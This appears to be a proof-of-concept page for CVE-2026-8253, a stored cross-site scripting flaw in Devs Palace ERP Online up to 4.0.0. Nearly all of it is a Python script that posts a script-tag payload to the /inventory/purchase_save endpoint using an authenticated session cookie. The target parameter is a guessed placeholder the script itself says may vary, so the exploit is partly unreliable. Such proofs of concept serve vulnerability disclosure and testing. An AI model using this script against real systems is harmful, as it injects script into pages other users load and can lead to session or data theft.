CVE-2026-8253 Devs Palace ERP Online跨站脚本漏洞

# Proof of Concept for CVE-2026-8253 # Target: Devs Palace ERP Online <= 4.0.0 # Endpoint: /inventory/purchase_save import requests def exploit_xss(target_url): # The vulnerable endpoint for saving purchase data url = f"{target_url}/inventory/purchase_save" # Payload attempting to inject JavaScript # Note: The specific parameter name might vary based on source code analysis payload_data = { "item_name": "Test Item", "quantity": "1", "vulnerable_param": "<script>alert('XSS CVE-2026-8253');</script>" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "session_id=..." # Requires authenticated session (PR:H) } try: response = requests.post(url, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the inventory management page to verify script execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit_xss(target)